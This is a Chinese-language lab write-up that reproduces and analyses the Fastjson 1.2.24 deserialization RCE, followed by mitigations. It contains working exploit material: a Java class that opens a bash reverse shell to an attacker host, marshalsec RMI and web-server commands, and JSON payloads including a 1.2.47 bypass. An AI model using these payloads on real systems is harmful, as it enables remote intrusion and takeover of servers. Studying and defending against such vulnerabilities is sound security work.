fastjson 反序列化RCE漏洞复现
字数 1749 2025-08-29 08:30:30
Fastjson 反序列化RCE漏洞复现与分析
漏洞概述
Fastjson是阿里巴巴开源的一个Java库,用于处理JSON数据格式的解析和生成。在Fastjson 1.2.24及之前版本中存在反序列化远程代码执行(RCE)漏洞,攻击者可以通过构造特殊的JSON数据,利用JNDI注入实现远程命令执行。
漏洞原理
-
Fastjson反序列化机制:
- Fastjson在解析JSON对象时,会使用autoType实例化具体的类
- 通过
@type字段可以指定要反序列化的目标类 - 漏洞源于Fastjson对
@type字段的安全性验证不充分
-
JNDI注入:
- JNDI(Java Naming and Directory Interface)支持RMI远程对象调用
- 当Fastjson反序列化
JdbcRowSetImpl类时,会触发JNDI查询 - 攻击者可控制JNDI查询指向恶意的RMI服务
-
攻击链:
Fastjson反序列化 → JdbcRowSetImpl.setDataSourceName() → JNDI查询 → RMI服务 → 加载恶意类 → 执行恶意代码
环境准备
靶机环境
- 使用Vulhub快速搭建Fastjson 1.2.24 RCE漏洞环境
- 服务运行在8090端口
攻击机环境
- Java 8运行环境
- Python 3 (用于开启Web服务)
- Netcat (用于监听反弹shell)
- marshalsec工具 (用于搭建RMI服务)
攻击步骤详解
1. 准备恶意类
创建reverse.java文件,内容如下:
import java.lang.Runtime;
import java.lang.Process;
public class reverse {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/攻击机IP/4563 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// 异常处理
}
}
}
编译为class文件:
javac reverse.java
2. 启动Web服务
在恶意类所在目录启动Python Web服务:
python3 -m http.server 8989
3. 启动RMI服务
使用marshalsec工具启动RMI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://攻击机IP:8989/#reverse" 8653
4. 监听反弹shell
nc -lnvp 4563
5. 构造并发送Payload
发送以下HTTP请求到目标服务器(8090端口):
POST / HTTP/1.1
Host: 目标IP:8090
Content-Type: application/json
Content-Length: 163
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://攻击机IP:8653/reverse",
"autoCommit":true
}
}
6. 攻击流程分析
- 目标服务器解析JSON时,通过
@type指定反序列化为JdbcRowSetImpl类 - 设置
dataSourceName属性为攻击者控制的RMI服务地址 - 设置
autoCommit为true触发setAutoCommit()方法 setAutoCommit()内部调用connect()方法,发起JNDI查询- 目标服务器向攻击者的RMI服务(8653端口)发起请求
- RMI服务返回指向恶意类(
reverse.class)的Reference对象 - 目标服务器从攻击者的Web服务(8989端口)下载并执行恶意类
- 恶意类中的静态代码块执行,建立反弹shell连接
Fastjson 1.2.47版本利用
对于Fastjson 1.2.47版本,可以使用以下Payload绕过限制:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://攻击机IP:8653/reverse",
"autoCommit":true
}
}
防御与修复方案
1. 代码层防护
-
升级Fastjson:
- 使用Fastjson 2.x版本,默认关闭AutoType功能
- 最低升级至1.2.68及以上安全版本
-
配置白名单:
ParserConfig.getGlobalInstance().addAccept("com.example.safe.*"); -
启用安全模式:
ParserConfig.getGlobalInstance().setSafeMode(true); // 完全禁用AutoType
2. 运行时防护
-
JVM参数限制:
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false -Dcom.sun.jndi.ldap.object.trustURLCodebase=false -
RASP防护:
- 监控
JdbcRowSetImpl.connect()方法调用 - 拦截
InitialContext.lookup()等敏感操作
- 监控
3. 网络层管控
-
出口流量过滤:
- 阻止服务器主动外联RMI、LDAP等协议
- 限制出站连接只允许必要的域名和端口
-
入侵检测规则:
- 检测
@type字段包含JdbcRowSetImpl的请求 - 监控异常的JNDI查询行为
- 检测
技术要点总结
- Fastjson AutoType机制是漏洞根源,允许攻击者指定任意类进行实例化
- JdbcRowSetImpl类是关键跳板,其
setDataSourceName和setAutoCommit方法组合可触发JNDI查询 - RMI协议用于传递恶意类引用,Web服务用于托管实际的恶意类文件
- 静态代码块在类加载时自动执行,是常见的恶意代码注入点
- 版本差异:不同Fastjson版本需要调整Payload构造方式
参考资源
- Fastjson官方GitHub仓库及安全公告
- JNDI注入原理及防护指南
- Java反序列化漏洞研究资料
- marshalsec工具使用文档
通过以上详细分析,安全研究人员可以全面理解Fastjson反序列化漏洞的原理、利用方式及防御措施,在实际环境中有效识别和防范此类安全风险。